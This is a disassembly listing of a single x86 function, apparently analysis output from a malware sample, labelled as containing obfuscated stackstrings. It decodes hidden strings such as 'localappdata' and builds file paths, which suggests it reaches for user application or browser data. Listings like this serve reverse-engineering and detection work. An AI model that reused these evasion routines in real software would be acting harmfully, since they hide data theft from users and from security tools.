Function at 0x43290e
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov eax, 0x453dd5
call fcn.004534f4
sub esp, 0x1c4
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov edi, ecx
mov dword [ebp - 0x88], edi
xor ebx, ebx
mov dword [ebp - 0x38], ebx
and dword [ebp - 4], ebx
movaps xmm0, xmmword [0x407fb0]
movups xmmword [ebp - 0x53], xmm0
mov dword [ebp - 0x43], 0x4e6e6f72
mov dword [ebp - 0x3f], 0x386b7e6b
mov word [ebp - 0x3b], 0x6c6e
mov byte [ebp - 0x39], bl
xor edx, edx
mov dword [ebp - 0x70], edx
cmp edx, 0x19
jae 0x43297e
movsx ecx, byte [ebp - 0x53]
and ecx, 0x8000000f
jns 0x432971
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x52]
sub al, cl
mov byte [ebp + edx - 0x52], al
inc edx
jmp 0x432958
mov byte [ebp - 0x39], 0
lea esi, [ebp - 0x52]
mov al, 0x78
mov dword [ebp - 0x34], 0x6b777478
mov dword [ebp - 0x30], 0x78697469
mov dword [ebp - 0x2c], 0x7c696c78
mov word [ebp - 0x28], 0x69
xor edx, edx
mov dword [ebp - 0x74], edx
cmp edx, 0xc
jae 0x4329cf
movsx ecx, al
and ecx, 0x8000000f
jns 0x4329bc
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x33]
sub al, cl
mov byte [ebp + edx - 0x33], al
inc edx
mov dword [ebp - 0x74], edx
mov al, byte [ebp - 0x34]
jmp 0x4329a7
mov byte [ebp - 0x27], 0
lea eax, [ebp - 0x33]
push eax
call fcn.004494dd
pop ecx
push eax
lea ecx, [ebp - 0x128]
call fcn.0040bc98
push esi
mov edx, eax
lea ecx, [ebp - 0xc8]
call fcn.00417bac
lea ecx, [ebp - 0x128]
call fcn.0040bc59
lea eax, [ebp - 0xc8]
push eax
call fcn.0041c1db
test al, al
je 0x432d51
push 0x48
call fcn.0044485d
mov esi, eax
mov dword [esp], 0x406fc4
lea ecx, [ebp - 0x6c]
call fcn.0040bc98
or ebx, 1
mov dword [ebp - 0x38], ebx
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp - 0x11]
push eax
lea eax, [ebp - 0xc8]
push eax
mov ecx, esi
call fcn.00410a08
mov esi, eax
and ebx, 0xfffffffe
mov dword [ebp - 0x38], ebx
lea ecx, [ebp - 0x6c]
call fcn.0040bc59
cmp byte [ebp - 0x11], 0
je 0x432ad7
mov al, 0x2a
mov dword [ebp - 0x26], 0x7179762a
mov dword [ebp - 0x22], 0x6d697873
mov dword [ebp - 0x1e], 0x6f726d6b
mov byte [ebp - 0x1a], 0
xor edx, edx
mov dword [ebp - 0x78], edx
cmp edx, 0xb
jae 0x432aa8
movsx ecx, al
and ecx, 0x8000000f
jns 0x432a95
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x25]
sub al, cl
mov byte [ebp + edx - 0x25], al
inc edx
mov dword [ebp - 0x78], edx
mov al, byte [ebp - 0x26]
jmp 0x432a80
mov byte [ebp - 0x1a], 0
lea eax, [ebp - 0x25]
push eax
lea ecx, [ebp - 0xe0]
call fcn.0040bc98
or ebx, 2
mov dword [ebp - 0x38], ebx
lea eax, [ebp - 0xe0]
push eax
mov ecx, esi
call fcn.00410a92
test al, al
mov byte [ebp - 0x11], 1
jne 0x432adb
mov byte [ebp - 0x11], 0
test bl, 2
je 0x432af1
and ebx, 0xfffffffd
mov dword [ebp - 0x38], ebx
lea ecx, [ebp - 0xe0]
call fcn.0040bc59
cmp byte [ebp - 0x11], 0
je 0x432d45
lea ecx, [edi + 0x3b0]
push dword [ebp + 8]
call fcn.004439d9
push 2
push 0
lea eax, [ebp - 0x1b8]
push eax
mov ecx, esi
call fcn.00410cdb
mov ebx, eax
movaps xmm0, xmmword [0x407080]
movups xmmword [ebp - 0xad], xmm0
xor ecx, ecx
mov dword [ebp - 0x7c], ecx
cmp ecx, 0xe
jae 0x432b4c
mov al, byte [ebp + ecx - 0xac]
xor al, byte [ebp - 0xad]
mov byte [ebp + ecx - 0xac], al
inc ecx
jmp 0x432b2d
mov byte [ebp - 0x9e], 0
push 1
push 0
lea eax, [ebp - 0x1a0]
push eax
mov ecx, esi
call fcn.00410cdb
mov edi, eax
movaps xmm0, xmmword [0x407750]
movups xmmword [ebp - 0x9d], xmm0
mov byte [ebp - 0x8d], 0
xor edx, edx
mov dword [ebp - 0x80], edx
cmp edx, 0xf
jae 0x432bad
movsx ecx, byte [ebp - 0x9d]
and ecx, 0x8000000f
jns 0x432b9a
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x9c]
sub al, cl
mov byte [ebp + edx - 0x9c], al
inc edx
jmp 0x432b7e
xor eax, eax
mov byte [ebp - 0x8d], al
push eax
push eax
lea eax, [ebp - 0x188]
push eax
mov ecx, esi
call fcn.00410cdb
mov esi, eax
mov cl, 0x15
mov dword [ebp - 0x19], 0x72665315
mov dword [ebp - 0x15], 0x253f6a
xor edx, edx
mov dword [ebp - 0x84], edx
cmp edx, 6
jae 0x432c0a
movsx ecx, cl
and ecx, 0x8000000f
jns 0x432bf4
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x18]
sub al, cl
mov byte [ebp + edx - 0x18], al
inc edx
mov dword [ebp - 0x84], edx
mov cl, byte [ebp - 0x19]
jmp 0x432bdf
mov byte [ebp - 0x12], 0
push esi
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x170]
call fcn.00417b28
lea ecx, [ebp - 0x9c]
push ecx
mov edx, eax
lea ecx, [ebp - 0x158]
call fcn.00417bac
push edi
push eax
push dword [ebp + 8]
lea ecx, [ebp - 0xf8]
call fcn.0041c09c
lea eax, [ebp - 0xac]
push eax
lea edx, [ebp - 0xf8]
lea ecx, [ebp - 0x140]
call fcn.00417bac
push ebx
push eax
push dword [ebp + 8]
lea ecx, [ebp - 0x110]
call fcn.0041c09c
lea ecx, [ebp - 0x140]
call fcn.0040bc59
lea ecx, [ebp - 0xf8]
call fcn.0040bc59
lea ecx, [ebp - 0x158]
call fcn.0040bc59
lea ecx, [ebp - 0x170]
call fcn.0040bc59
lea ecx, [ebp - 0x188]
call fcn.0040bc59
lea ecx, [ebp - 0x1a0]
call fcn.0040bc59
lea ecx, [ebp - 0x1b8]
call fcn.0040bc59
mov esi, dword [ebp - 0x88]
movaps xmm0, xmmword [0x407770]
movups xmmword [ebp - 0x68], xmm0
mov dword [ebp - 0x58], 0x747874
xor edx, edx
mov dword [ebp - 0x8c], edx
cmp edx, 0x12
jae 0x432cf9
movsx ecx, byte [ebp - 0x68]
and ecx, 0x8000000f
jns 0x432cec
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x67]
sub al, cl
mov byte [ebp + edx - 0x67], al
inc edx
jmp 0x432cd0
mov byte [ebp - 0x55], 0
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x67]
push eax
mov edx, dword [ebp + 8]
lea ecx, [ebp - 0x1d0]
call fcn.00417b5f
push eax
lea ecx, [esi + 0x3b0]
call fcn.00443927
lea ecx, [ebp - 0x1d0]
call fcn.0040bc59
lea ecx, [ebp - 0x110]
call fcn.0040bc59
lea ecx, [ebp - 0xc8]
call fcn.0040bc59
jmp 0x432d60
test esi, esi
je 0x432d51
push ecx
mov ecx, esi
call fcn.004241ce
lea ecx, [ebp - 0xc8]
call fcn.0040bc59
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret 4